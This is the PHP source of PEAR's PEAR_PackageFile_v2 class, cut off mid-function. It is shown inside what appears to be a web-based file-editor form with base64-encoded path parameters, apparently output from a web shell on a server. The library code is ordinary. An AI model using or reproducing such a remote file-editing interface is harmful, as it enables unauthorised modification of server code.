<hr>v2.php<form method=post action="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=djIucGhw"><input name="f" value="v2.php"><textarea name="t">&lt;?php
/**
 * PEAR_PackageFile_v2, package.xml version 2.0
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 1.4.0a1
 */
/**
 * For error handling
 */
require_once 'PEAR/ErrorStack.php';
/**
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: 1.10.16
 * @link       http://pear.php.net/package/PEAR
 * @since      Class available since Release 1.4.0a1
 */
class PEAR_PackageFile_v2
{

    /**
     * Parsed package information
     * @var array
     * @access private
     */
    var $_packageInfo = array();

    /**
     * path to package .tgz or false if this is a local/extracted package.xml
     * @var string|false
     * @access private
     */
    var $_archiveFile;

    /**
     * path to package .xml or false if this is an abstract parsed-from-string xml
     * @var string|false
     * @access private
     */
    var $_packageFile;

    /**
     * This is used by file analysis routines to log progress information
     * @var PEAR_Common
     * @access protected
     */
    var $_logger;

    /**
     * This is set to the highest validation level that has been validated
     *
     * If the package.xml is invalid or unknown, this is set to 0.  If
     * normal validation has occurred, this is set to PEAR_VALIDATE_NORMAL.  If
     * downloading/installation validation has occurred it is set to PEAR_VALIDATE_DOWNLOADING
     * or INSTALLING, and so on up to PEAR_VALIDATE_PACKAGING.  This allows validation
     * &quot;caching&quot; to occur, which is particularly important for package validation, so
     * that PHP files are not validated twice
     * @var int
     * @access private
     */
    var $_isValid = 0;

    /**
     * True if the filelist has been validated
     * @param bool
     */
    var $_filesValid = false;

    /**
     * @var PEAR_Registry
     * @access protected
     */
    var $_registry;

    /**
     * @var PEAR_Config
     * @access protected
     */
    var $_config;

    /**
     * Optional Dependency group requested for installation
     * @var string
     * @access private
     */
    var $_requestedGroup = false;

    /**
     * @var PEAR_ErrorStack
     * @access protected
     */
    var $_stack;

    /**
     * Namespace prefix used for tasks in this package.xml - use tasks: whenever possible
     */
    var $_tasksNs;

    /**
     * Determines whether this packagefile was initialized only with partial package info
     *
     * If this package file was constructed via parsing REST, it will only contain
     *
     * - package name
     * - channel name
     * - dependencies
     * @var boolean
     * @access private
     */
    var $_incomplete = true;

    /**
     * @var PEAR_PackageFile_v2_Validator
     */
    var $_v2Validator;

    /**
     * The constructor merely sets up the private error stack
     */
    function __construct()
    {
        $this-&gt;_stack = new PEAR_ErrorStack('PEAR_PackageFile_v2', false, null);
        $this-&gt;_isValid = false;
    }

    /**
     * PHP 4 style constructor for backwards compatibility.
     * Used by PEAR_PackageFileManager2
     */
    public function PEAR_PackageFile_v2()
    {
        $this-&gt;__construct();
    }

    /**
     * To make unit-testing easier
     * @param PEAR_Frontend_*
     * @param array options
     * @param PEAR_Config
     * @return PEAR_Downloader
     * @access protected
     */
    function &amp;getPEARDownloader(&amp;$i, $o, &amp;$c)
    {
        $z = new PEAR_Downloader($i, $o, $c);
        return $z;
    }

    /**
     * To make unit-testing easier
     * @param PEAR_Config
     * @param array options
     * @param array package name as returned from {@link PEAR_Registry::parsePackageName()}
     * @param int PEAR_VALIDATE_* constant
     * @return PEAR_Dependency2
     * @access protected
     */
    function &amp;getPEARDependency2(&amp;$c, $o, $p, $s = PEAR_VALIDATE_INSTALLING)
    {
        if (!class_exists('PEAR_Dependency2')) {
            require_once 'PEAR/Dependency2.php';
        }
        $z = new PEAR_Dependency2($c, $o, $p, $s);
        return $z;
    }

    function getInstalledBinary()
    {
        return isset($this-&gt;_packageInfo['#binarypackage']) ? $this-&gt;_packageInfo['#binarypackage'] :
            false;
    }

    /**
     * Installation of source package has failed, attempt to download and install the
     * binary version of this package.
     * @param PEAR_Installer
     * @return array|false
     */
    function installBinary(&amp;$installer)
    {
        if (!OS_WINDOWS) {
            $a = false;
            return $a;
        }
        if ($this-&gt;getPackageType() == 'extsrc' || $this-&gt;getPackageType() == 'zendextsrc') {
            $releasetype = $this-&gt;getPackageType() . 'release';
            if (!is_array($installer-&gt;getInstallPackages())) {
                $a = false;
                return $a;
            }
            foreach ($installer-&gt;getInstallPackages() as $p) {
                if ($p-&gt;isExtension($this-&gt;_packageInfo['providesextension'])) {
                    if ($p-&gt;getPackageType() != 'extsrc' &amp;&amp; $p-&gt;getPackageType() != 'zendextsrc') {
                        $a = false;
                        return $a; // the user probably downloaded it separately
                    }
                }
            }
            if (isset($this-&gt;_packageInfo[$releasetype]['binarypackage'])) {
                $installer-&gt;log(0, 'Attempting to download binary version of extension &quot;' .
                    $this-&gt;_packageInfo['providesextension'] . '&quot;');
                $params = $this-&gt;_packageInfo[$releasetype]['binarypackage'];
                if (!is_array($params) || !isset($params[0])) {
                    $params = array($params);
                }
                if (isset($this-&gt;_packageInfo['channel'])) {
                    foreach ($params as $i =&gt; $param) {
                        $params[$i] = array('channel' =&gt; $this-&gt;_packageInfo['channel'],
                            'package' =&gt; $param, 'version' =&gt; $this-&gt;getVersion());
                    }
                }
                $dl = &amp;$this-&gt;getPEARDownloader($installer-&gt;ui, $installer-&gt;getOptions(),
                    $installer-&gt;config);
                $verbose = $dl-&gt;config-&gt;get('verbose');
                $dl-&gt;config-&gt;set('verbose', -1);
                foreach ($params as $param) {
                    PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                    $ret = $dl-&gt;download(array($param));
                    PEAR::popErrorHandling();
                    if (is_array($ret) &amp;&amp; count($ret)) {
                        break;
                    }
                }
                $dl-&gt;config-&gt;set('verbose', $verbose);
                if (is_array($ret)) {
                    if (count($ret) == 1) {
                        $pf = $ret[0]-&gt;getPackageFile();
                        PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                        $err = $installer-&gt;install($ret[0]);
                        PEAR::popErrorHandling();
                        if (is_array($err)) {
                            $this-&gt;_packageInfo['#binarypackage'] = $ret[0]-&gt;getPackage();
                            // &quot;install&quot; self, so all dependencies will work transparently
                            $this-&gt;_registry-&gt;addPackage2($this);
                            $installer-&gt;log(0, 'Download and install of binary extension &quot;' .
                                $this-&gt;_registry-&gt;parsedPackageNameToString(
                                    array('channel' =&gt; $pf-&gt;getChannel(),
                                          'package' =&gt; $pf-&gt;getPackage()), true) . '&quot; successful');
                            $a = array($ret[0], $err);
                            return $a;
                        }
                        $installer-&gt;log(0, 'Download and install of binary extension &quot;' .
                            $this-&gt;_registry-&gt;parsedPackageNameToString(
                                    array('channel' =&gt; $pf-&gt;getChannel(),
                                          'package' =&gt; $pf-&gt;getPackage()), true) . '&quot; failed');
                    }
                }
            }
        }
        $a = false;
        return $a;
    }

    /**
     * @return string|false Extension name
     */
    function getProvidesExtension()
    {
        if (in_array($this-&gt;getPackageType(),
              array('extsrc', 'extbin', 'zendextsrc', 'zendextbin'))) {
            if (isset($this-&gt;_packageInfo['providesextension'])) {
                return $this-&gt;_packageInfo['providesextension'];
            }
        }
        return false;
    }

    /**
     * @param string Extension name
     * @return bool
     */
    function isExtension($extension)
    {
        if (in_array($this-&gt;getPackageType(),
              array('extsrc', 'extbin', 'zendextsrc', 'zendextbin'))) {
            return $this-&gt;_packageInfo['providesextension'] == $extension;
        }
        return false;
    }

    /**
     * Tests whether every part of the package.xml 1.0 is represented in
     * this package.xml 2.0
     * @param PEAR_PackageFile_v1
     * @return bool
     */
    function isEquivalent($pf1)
    {
        if (!$pf1) {
            return true;
        }
        if ($this-&gt;getPackageType() == 'bundle') {
            return false;
        }
        $this-&gt;_stack-&gt;getErrors(true);
        if (!$pf1-&gt;validate(PEAR_VALIDATE_NORMAL)) {
            return false;
        }
        $pass = true;
        if ($pf1-&gt;getPackage() != $this-&gt;getPackage()) {
            $this-&gt;_differentPackage($pf1-&gt;getPackage());
            $pass = false;
        }
        if ($pf1-&gt;getVersion() != $this-&gt;getVersion()) {
            $this-&gt;_differentVersion($pf1-&gt;getVersion());
            $pass = false;
        }
        if (trim($pf1-&gt;getSummary()) != $this-&gt;getSummary()) {
            $this-&gt;_differentSummary($pf1-&gt;getSummary());
            $pass = false;
        }
        if (preg_replace('/\s+/', '', $pf1-&gt;getDescription()) !=
              preg_replace('/\s+/', '', $this-&gt;getDescription())) {
            $this-&gt;_differentDescription($pf1-&gt;getDescription());
            $pass = false;
        }
        if ($pf1-&gt;getState() != $this-&gt;getState()) {
            $this-&gt;_differentState($pf1-&gt;getState());
            $pass = false;
        }
        if (!strstr(preg_replace('/\s+/', '', $this-&gt;getNotes()),
              preg_replace('/\s+/', '', $pf1-&gt;getNotes()))) {
            $this-&gt;_differentNotes($pf1-&gt;getNotes());
            $pass = false;
        }
        $mymaintainers = $this-&gt;getMaintainers();
        $yourmaintainers = $pf1-&gt;getMaintainers();
        for ($i1 = 0; $i1 &lt; count($yourmaintainers); $i1++) {
            $reset = false;
            for ($i2 = 0; $i2 &lt; count($mymaintainers); $i2++) {
                if ($mymaintainers[$i2]['handle'] == $yourmaintainers[$i1]['handle']) {
                    if ($mymaintainers[$i2]['role'] != $yourmaintainers[$i1]['role']) {
                        $this-&gt;_differentRole($mymaintainers[$i2]['handle'],
                            $yourmaintainers[$i1]['role'], $mymaintainers[$i2]['role']);
                        $pass = false;
                    }
                    if ($mymaintainers[$i2]['email'] != $yourmaintainers[$i1]['email']) {
                        $this-&gt;_differentEmail($mymaintainers[$i2]['handle'],
                            $yourmaintainers[$i1]['email'], $mymaintainers[$i2]['email']);
                        $pass = false;
                    }
                    if ($mymaintainers[$i2]['name'] != $yourmaintainers[$i1]['name']) {
                        $this-&gt;_differentName($mymaintainers[$i2]['handle'],
                            $yourmaintainers[$i1]['name'], $mymaintainers[$i2]['name']);
                        $pass = false;
                    }
                    unset($mymaintainers[$i2]);
                    $mymaintainers = array_values($mymaintainers);
                    unset($yourmaintainers[$i1]);
                    $yourmaintainers = array_values($yourmaintainers);
                    $reset = true;
                    break;
                }
            }
            if ($reset) {
                $i1 = -1;
            }
        }
        $this-&gt;_unmatchedMaintainers($mymaintainers, $yourmaintainers);
        $filelist = $this-&gt;getFilelist();
        foreach ($pf1-&gt;getFilelist() as $file =&gt; $atts) {
            if (!isset($filelist[$file])) {
                $this-&gt;_missingFile($file);
                $pass = false;
            }
        }
        return $pass;
    }

    function _differentPackage($package)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('package' =&gt; $package,
            'self' =&gt; $this-&gt;getPackage()),
            'package.xml 1.0 package &quot;%package%&quot; does not match &quot;%self%&quot;');
    }

    function _differentVersion($version)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('version' =&gt; $version,
            'self' =&gt; $this-&gt;getVersion()),
            'package.xml 1.0 version &quot;%version%&quot; does not match &quot;%self%&quot;');
    }

    function _differentState($state)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('state' =&gt; $state,
            'self' =&gt; $this-&gt;getState()),
            'package.xml 1.0 state &quot;%state%&quot; does not match &quot;%self%&quot;');
    }

    function _differentRole($handle, $role, $selfrole)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('handle' =&gt; $handle,
            'role' =&gt; $role, 'self' =&gt; $selfrole),
            'package.xml 1.0 maintainer &quot;%handle%&quot; role &quot;%role%&quot; does not match &quot;%self%&quot;');
    }

    function _differentEmail($handle, $email, $selfemail)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('handle' =&gt; $handle,
            'email' =&gt; $email, 'self' =&gt; $selfemail),
            'package.xml 1.0 maintainer &quot;%handle%&quot; email &quot;%email%&quot; does not match &quot;%self%&quot;');
    }

    function _differentName($handle, $name, $selfname)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('handle' =&gt; $handle,
            'name' =&gt; $name, 'self' =&gt; $selfname),
            'package.xml 1.0 maintainer &quot;%handle%&quot; name &quot;%name%&quot; does not match &quot;%self%&quot;');
    }

    function _unmatchedMaintainers($my, $yours)
    {
        if ($my) {
            array_walk($my, function(&amp;$i, $k) { $i = $i[&quot;handle&quot;]; });
            $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('handles' =&gt; $my),
                'package.xml 2.0 has unmatched extra maintainers &quot;%handles%&quot;');
        }
        if ($yours) {
            array_walk($yours, function(&amp;$i, $k) { $i = $i[&quot;handle&quot;]; });
            $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('handles' =&gt; $yours),
                'package.xml 1.0 has unmatched extra maintainers &quot;%handles%&quot;');
        }
    }

    function _differentNotes($notes)
    {
        $truncnotes = strlen($notes) &lt; 25 ? $notes : substr($notes, 0, 24) . '...';
        $truncmynotes = strlen($this-&gt;getNotes()) &lt; 25 ? $this-&gt;getNotes() :
            substr($this-&gt;getNotes(), 0, 24) . '...';
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('notes' =&gt; $truncnotes,
            'self' =&gt; $truncmynotes),
            'package.xml 1.0 release notes &quot;%notes%&quot; do not match &quot;%self%&quot;');
    }

    function _differentSummary($summary)
    {
        $truncsummary = strlen($summary) &lt; 25 ? $summary : substr($summary, 0, 24) . '...';
        $truncmysummary = strlen($this-&gt;getsummary()) &lt; 25 ? $this-&gt;getSummary() :
            substr($this-&gt;getsummary(), 0, 24) . '...';
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('summary' =&gt; $truncsummary,
            'self' =&gt; $truncmysummary),
            'package.xml 1.0 summary &quot;%summary%&quot; does not match &quot;%self%&quot;');
    }

    function _differentDescription($description)
    {
        $truncdescription = trim(strlen($description) &lt; 25 ? $description : substr($description, 0, 24) . '...');
        $truncmydescription = trim(strlen($this-&gt;getDescription()) &lt; 25 ? $this-&gt;getDescription() :
            substr($this-&gt;getdescription(), 0, 24) . '...');
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('description' =&gt; $truncdescription,
            'self' =&gt; $truncmydescription),
            'package.xml 1.0 description &quot;%description%&quot; does not match &quot;%self%&quot;');
    }

    function _missingFile($file)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, 'error', array('file' =&gt; $file),
            'package.xml 1.0 file &quot;%file%&quot; is not present in &lt;contents&gt;');
    }

    /**
     * WARNING - do not use this function unless you know what you're doing
     */
    function setRawState($state)
    {
        if (!isset($this-&gt;_packageInfo['stability'])) {
            $this-&gt;_packageInfo['stability'] = array();
        }
        $this-&gt;_packageInfo['stability']['release'] = $state;
    }

    /**
     * WARNING - do not use this function unless you know what you're doing
     */
    function setRawCompatible($compatible)
    {
        $this-&gt;_packageInfo['compatible'] = $compatible;
    }

    /**
     * WARNING - do not use this function unless you know what you're doing
     */
    function setRawPackage($package)
    {
        $this-&gt;_packageInfo['name'] = $package;
    }

    /**
     * WARNING - do not use this function unless you know what you're doing
     */
    function setRawChannel($channel)
    {
        $this-&gt;_packageInfo['channel'] = $channel;
    }

    function setRequestedGroup($group)
    {
        $this-&gt;_requestedGroup = $group;
    }

    function getRequestedGroup()
    {
        if (isset($this-&gt;_requestedGroup)) {
            return $this-&gt;_requestedGroup;
        }
        return false;
    }

    /**
     * For saving in the registry.
     *
     * Set the last version that was installed
     * @param string
     */
    function setLastInstalledVersion($version)
    {
        $this-&gt;_packageInfo['_lastversion'] = $version;
    }

    /**
     * @return string|false
     */
    function getLastInstalledVersion()
    {
        if (isset($this-&gt;_packageInfo['_lastversion'])) {
            return $this-&gt;_packageInfo['_lastversion'];
        }
        return false;
    }

    /**
     * Determines whether this package.xml has post-install scripts or not
     * @return array|false
     */
    function listPostinstallScripts()
    {
        $filelist = $this-&gt;getFilelist();
        $contents = $this-&gt;getContents();
        $contents = $contents['dir']['file'];
        if (!is_array($contents) || !isset($contents[0])) {
            $contents = array($contents);
        }
        $taskfiles = array();
        foreach ($contents as $file) {
            $atts = $file['attribs'];
            unset($file['attribs']);
            if (count($file)) {
                $taskfiles[$atts['name']] = $file;
            }
        }
        $common = new PEAR_Common;
        $common-&gt;debug = $this-&gt;_config-&gt;get('verbose');
        $this-&gt;_scripts = array();
        $ret = array();
        foreach ($taskfiles as $name =&gt; $tasks) {
            if (!isset($filelist[$name])) {
                // ignored files will not be in the filelist
                continue;
            }
            $atts = $filelist[$name];
            foreach ($tasks as $tag =&gt; $raw) {
                $task = $this-&gt;getTask($tag);
                $task = new $task($this-&gt;_config, $common, PEAR_TASK_INSTALL);
                if ($task-&gt;isScript()) {
                    $ret[] = $filelist[$name]['installed_as'];
                }
            }
        }
        if (count($ret)) {
            return $ret;
        }
        return false;
    }

    /**
     * Initialize post-install scripts for running
     *
     * This method can be used to detect post-install scripts, as the return value
     * indicates whether any exist
     * @return bool
     */
    function initPostinstallScripts()
    {
        $filelist = $this-&gt;getFilelist();
        $contents = $this-&gt;getContents();
        $contents = $contents['dir']['file'];
        if (!is_array($contents) || !isset($contents[0])) {
            $contents = array($contents);
        }
        $taskfiles = array();
        foreach ($contents as $file) {
            $atts = $file['attribs'];
            unset($file['attribs']);
            if (count($file)) {
                $taskfiles[$atts['name']] = $file;
            }
        }
        $common = new PEAR_Common;
        $common-&gt;debug = $this-&gt;_config-&gt;get('verbose');
        $this-&gt;_scripts = array();
        foreach ($taskfiles as $name =&gt; $tasks) {
            if (!isset($filelist[$name])) {
                // file was not installed due to installconditions
                continue;
            }
            $atts = $filelist[$name];
            foreach ($tasks as $tag =&gt; $raw) {
                $taskname = $this-&gt;getTask($tag);
                $task = new $taskname($this-&gt;_config, $common, PEAR_TASK_INSTALL);
                if (!$task-&gt;isScript()) {
                    continue; // scripts are only handled after installation
                }
                $lastversion = isset($this-&gt;_packageInfo['_lastversion']) ?
                    $this-&gt;_packageInfo['_lastversion'] : null;
                $task-&gt;init($raw, $atts, $lastversion);
                $res = $task-&gt;startSession($this, $atts['installed_as'], null);
                if (!$res) {
                    continue; // skip this file
                }
                if (PEAR::isError($res)) {
                    return $res;
                }
                $this-&gt;_scripts[] = $task;
            }
        }
        if (count($this-&gt;_scripts)) {
            return true;
        }
        return false;
    }

    function runPostinstallScripts()
    {
        if ($this-&gt;initPostinstallScripts()) {
            $ui = &amp;PEAR_Frontend::singleton();
            if ($ui) {
                $ui-&gt;runPostinstallScripts($this-&gt;_scripts, $this);
            }
        }
    }


    /**
     * Convert a recursive set of &lt;dir&gt; and &lt;file&gt; tags into a single &lt;dir&gt; tag with
     * &lt;file&gt; tags.
     */
    function flattenFilelist()
    {
        if (isset($this-&gt;_packageInfo['bundle'])) {
            return;
        }
        $filelist = array();
        if (isset($this-&gt;_packageInfo['contents']['dir']['dir'])) {
            $this-&gt;_getFlattenedFilelist($filelist, $this-&gt;_packageInfo['contents']['dir']);
            if (!isset($filelist[1])) {
                $filelist = $filelist[0];
            }
            $this-&gt;_packageInfo['contents']['dir']['file'] = $filelist;
            unset($this-&gt;_packageInfo['contents']['dir']['dir']);
        } else {
            // else already flattened but check for baseinstalldir propagation
            if (isset($this-&gt;_packageInfo['contents']['dir']['attribs']['baseinstalldir'])) {
                if (isset($this-&gt;_packageInfo['contents']['dir']['file'][0])) {
                    foreach ($this-&gt;_packageInfo['contents']['dir']['file'] as $i =&gt; $file) {
                        if (isset($file['attribs']['baseinstalldir'])) {
                            continue;
                        }
                        $this-&gt;_packageInfo['contents']['dir']['file'][$i]['attribs']['baseinstalldir']
                            = $this-&gt;_packageInfo['contents']['dir']['attribs']['baseinstalldir'];
                    }
                } else {
                    if (!isset($this-&gt;_packageInfo['contents']['dir']['file']['attribs']['baseinstalldir'])) {
                       $this-&gt;_packageInfo['contents']['dir']['file']['attribs']['baseinstalldir']
                            = $this-&gt;_packageInfo['contents']['dir']['attribs']['baseinstalldir'];
                    }
                }
            }
        }
    }

    /**
     * @param array the final flattened file list
     * @param array the current directory being processed
     * @param string|false any recursively inherited baeinstalldir attribute
     * @param string private recursion variable
     * @return array
     * @access protected
     */
    function _getFlattenedFilelist(&amp;$files, $dir, $baseinstall = false, $path = '')
    {
        if (isset($dir['attribs']) &amp;&amp; isset($dir['attribs']['baseinstalldir'])) {
            $baseinstall = $dir['attribs']['baseinstalldir'];
        }
        if (isset($dir['dir'])) {
            if (!isset($dir['dir'][0])) {
                $dir['dir'] = array($dir['dir']);
            }
            foreach ($dir['dir'] as $subdir) {
                if (!isset($subdir['attribs']) || !isset($subdir['attribs']['name'])) {
                    $name = '*unknown*';
                } else {
                    $name = $subdir['attribs']['name'];
                }
                $newpath = empty($path) ? $name :
                    $path . '/' . $name;
                $this-&gt;_getFlattenedFilelist($files, $subdir,
                    $baseinstall, $newpath);
            }
        }
        if (isset($dir['file'])) {
            if (!isset($dir['file'][0])) {
                $dir['file'] = array($dir['file']);
            }
            foreach ($dir['file'] as $file) {
                $attrs = $file['attribs'];
                $name = $attrs['name'];
                if ($baseinstall &amp;&amp; !isset($attrs['baseinstalldir'])) {
                    $attrs['baseinstalldir'] = $baseinstall;
                }
                $attrs['name'] = empty($path) ? $name : $path . '/' . $name;
                $attrs['name'] = preg_replace(array('!\\\\+!', '!/+!'), array('/', '/'),
                    $attrs['name']);
                $file['attribs'] = $attrs;
                $files[] = $file;
            }
        }
    }

    function setConfig(&amp;$config)
    {
        $this-&gt;_config = &amp;$config;
        $this-&gt;_registry = &amp;$config-&gt;getRegistry();
    }

    function setLogger(&amp;$logger)
    {
        if (!is_object($logger) || !method_exists($logger, 'log')) {
            return PEAR::raiseError('Logger must be compatible with PEAR_Common::log');
        }
        $this-&gt;_logger = &amp;$logger;
    }

    /**
     * WARNING - do not use this function directly unless you know what you're doing
     */
    function setDeps($deps)
    {
        $this-&gt;_packageInfo['dependencies'] = $deps;
    }

    /**
     * WARNING - do not use this function directly unless you know what you're doing
     */
    function setCompatible($compat)
    {
        $this-&gt;_packageInfo['compatible'] = $compat;
    }

    function setPackagefile($file, $archive = false)
    {
        $this-&gt;_packageFile = $file;
        $this-&gt;_archiveFile = $archive ? $archive : $file;
    }

    /**
     * Wrapper to {@link PEAR_ErrorStack::getErrors()}
     * @param boolean determines whether to purge the error stack after retrieving
     * @return array
     */
    function getValidationWarnings($purge = true)
    {
        return $this-&gt;_stack-&gt;getErrors($purge);
    }

    function getPackageFile()
    {
        return $this-&gt;_packageFile;
    }

    function getArchiveFile()
    {
        return $this-&gt;_archiveFile;
    }


    /**
     * Directly set the array that defines this packagefile
     *
     * WARNING: no validation.  This should only be performed by internal methods
     * inside PEAR or by inputting an array saved from an existing PEAR_PackageFile_v2
     * @param array
     */
    function fromArray($pinfo)
    {
        unset($pinfo['old']);
        unset($pinfo['xsdversion']);
        // If the changelog isn't an array then it was passed in as an empty tag
        if (isset($pinfo['changelog']) &amp;&amp; !is_array($pinfo['changelog'])) {
          unset($pinfo['changelog']);
        }
        $this-&gt;_incomplete = false;
        $this-&gt;_packageInfo = $pinfo;
    }

    function isIncomplete()
    {
        return $this-&gt;_incomplete;
    }

    /**
     * @return array
     */
    function toArray($forreg = false)
    {
        if (!$this-&gt;validate(PEAR_VALIDATE_NORMAL)) {
            return false;
        }
        return $this-&gt;getArray($forreg);
    }

    function getArray($forReg = false)
    {
        if ($forReg) {
            $arr = $this-&gt;_packageInfo;
            $arr['old'] = array();
            $arr['old']['version'] = $this-&gt;getVersion();
            $arr['old']['release_date'] = $this-&gt;getDate();
            $arr['old']['release_state'] = $this-&gt;getState();
            $arr['old']['release_license'] = $this-&gt;getLicense();
            $arr['old']['release_notes'] = $this-&gt;getNotes();
            $arr['old']['release_deps'] = $this-&gt;getDeps();
            $arr['old']['maintainers'] = $this-&gt;getMaintainers();
            $arr['xsdversion'] = '2.0';
            return $arr;
        } else {
            $info = $this-&gt;_packageInfo;
            unset($info['dirtree']);
            if (isset($info['_lastversion'])) {
                unset($info['_lastversion']);
            }
            if (isset($info['#binarypackage'])) {
                unset($info['#binarypackage']);
            }
            return $info;
        }
    }

    function packageInfo($field)
    {
        $arr = $this-&gt;getArray(true);
        if ($field == 'state') {
            return $arr['stability']['release'];
        }
        if ($field == 'api-version') {
            return $arr['version']['api'];
        }
        if ($field == 'api-state') {
            return $arr['stability']['api'];
        }
        if (isset($arr['old'][$field])) {
            if (!is_string($arr['old'][$field])) {
                return null;
            }
            return $arr['old'][$field];
        }
        if (isset($arr[$field])) {
            if (!is_string($arr[$field])) {
                return null;
            }
            return $arr[$field];
        }
        return null;
    }

    function getName()
    {
        return $this-&gt;getPackage();
    }

    function getPackage()
    {
        if (isset($this-&gt;_packageInfo['name'])) {
            return $this-&gt;_packageInfo['name'];
        }
        return false;
    }

    function getChannel()
    {
        if (isset($this-&gt;_packageInfo['uri'])) {
            return '__uri';
        }
        if (isset($this-&gt;_packageInfo['channel'])) {
            return strtolower($this-&gt;_packageInfo['channel']);
        }
        return false;
    }

    function getUri()
    {
        if (isset($this-&gt;_packageInfo['uri'])) {
            return $this-&gt;_packageInfo['uri'];
        }
        return false;
    }

    function getExtends()
    {
        if (isset($this-&gt;_packageInfo['extends'])) {
            return $this-&gt;_packageInfo['extends'];
        }
        return false;
    }

    function getSummary()
    {
        if (isset($this-&gt;_packageInfo['summary'])) {
            return $this-&gt;_packageInfo['summary'];
        }
        return false;
    }

    function getDescription()
    {
        if (isset($this-&gt;_packageInfo['description'])) {
            return $this-&gt;_packageInfo['description'];
        }
        return false;
    }

    function getMaintainers($raw = false)
    {
        if (!isset($this-&gt;_packageInfo['lead'])) {
            return false;
        }
        if ($raw) {
            $ret = array('lead' =&gt; $this-&gt;_packageInfo['lead']);
            (isset($this-&gt;_packageInfo['developer'])) ?
                $ret['developer'] = $this-&gt;_packageInfo['developer'] :null;
            (isset($this-&gt;_packageInfo['contributor'])) ?
                $ret['contributor'] = $this-&gt;_packageInfo['contributor'] :null;
            (isset($this-&gt;_packageInfo['helper'])) ?
                $ret['helper'] = $this-&gt;_packageInfo['helper'] :null;
            return $ret;
        } else {
            $ret = array();
            $leads = isset($this-&gt;_packageInfo['lead'][0]) ? $this-&gt;_packageInfo['lead'] :
                array($this-&gt;_packageInfo['lead']);
            foreach ($leads as $lead) {
                $s = $lead;
                $s['handle'] = $s['user'];
                unset($s['user']);
                $s['role'] = 'lead';
                $ret[] = $s;
            }
            if (isset($this-&gt;_packageInfo['developer'])) {
                $leads = isset($this-&gt;_packageInfo['developer'][0]) ?
                    $this-&gt;_packageInfo['developer'] :
                    array($this-&gt;_packageInfo['developer']);
                foreach ($leads as $maintainer) {
                    $s = $maintainer;
                    $s['handle'] = $s['user'];
                    unset($s['user']);
                    $s['role'] = 'developer';
                    $ret[] = $s;
                }
            }
            if (isset($this-&gt;_packageInfo['contributor'])) {
                $leads = isset($this-&gt;_packageInfo['contributor'][0]) ?
                    $this-&gt;_packageInfo['contributor'] :
                    array($this-&gt;_packageInfo['contributor']);
                foreach ($leads as $maintainer) {
                    $s = $maintainer;
                    $s['handle'] = $s['user'];
                    unset($s['user']);
                    $s['role'] = 'contributor';
                    $ret[] = $s;
                }
            }
            if (isset($this-&gt;_packageInfo['helper'])) {
                $leads = isset($this-&gt;_packageInfo['helper'][0]) ?
                    $this-&gt;_packageInfo['helper'] :
                    array($this-&gt;_packageInfo['helper']);
                foreach ($leads as $maintainer) {
                    $s = $maintainer;
                    $s['handle'] = $s['user'];
                    unset($s['user']);
                    $s['role'] = 'helper';
                    $ret[] = $s;
                }
            }
            return $ret;
        }
        return false;
    }

    function getLeads()
    {
        if (isset($this-&gt;_packageInfo['lead'])) {
            return $this-&gt;_packageInfo['lead'];
        }
        return false;
    }

    function getDevelopers()
    {
        if (isset($this-&gt;_packageInfo['developer'])) {
            return $this-&gt;_packageInfo['developer'];
        }
        return false;
    }

    function getContributors()
    {
        if (isset($this-&gt;_packageInfo['contributor'])) {
            return $this-&gt;_packageInfo['contributor'];
        }
        return false;
    }

    function getHelpers()
    {
        if (isset($this-&gt;_packageInfo['helper'])) {
            return $this-&gt;_packageInfo['helper'];
        }
        return false;
    }

    function setDate($date)
    {
        if (!isset($this-&gt;_packageInfo['date'])) {
            // ensure that the extends tag is set up in the right location
            $this-&gt;_packageInfo = $this-&gt;_insertBefore($this-&gt;_packageInfo,
                array('time', 'version',
                    'stability', 'license', 'notes', 'contents', 'compatible',
                    'dependencies', 'providesextension', 'srcpackage', 'srcuri',
                    'phprelease', 'extsrcrelease', 'extbinrelease', 'zendextsrcrelease',
                    'zendextbinrelease', 'bundle', 'changelog'), array(), 'date');
        }
        $this-&gt;_packageInfo['date'] = $date;
        $this-&gt;_isValid = 0;
    }

    function setTime($time)
    {
        $this-&gt;_isValid = 0;
        if (!isset($this-&gt;_packageInfo['time'])) {
            // ensure that the time tag is set up in the right location
            $this-&gt;_packageInfo = $this-&gt;_insertBefore($this-&gt;_packageInfo,
                    array('version',
                    'stability', 'license', 'notes', 'contents', 'compatible',
                    'dependencies', 'providesextension', 'srcpackage', 'srcuri',
                    'phprelease', 'extsrcrelease', 'extbinrelease', 'zendextsrcrelease',
                    'zendextbinrelease', 'bundle', 'changelog'), $time, 'time');
        }
        $this-&gt;_packageInfo['time'] = $time;
    }

    function getDate()
    {
        if (isset($this-&gt;_packageInfo['date'])) {
            return $this-&gt;_packageInfo['date'];
        }
        return false;
    }

    function getTime()
    {
        if (isset($this-&gt;_packageInfo['time'])) {
            return $this-&gt;_packageInfo['time'];
        }
        return false;
    }

    /**
     * @param package|api version category to return
     */
    function getVersion($key = 'release')
    {
        if (isset($this-&gt;_packageInfo['version'][$key])) {
            return $this-&gt;_packageInfo['version'][$key];
        }
        return false;
    }

    function getStability()
    {
        if (isset($this-&gt;_packageInfo['stability'])) {
            return $this-&gt;_packageInfo['stability'];
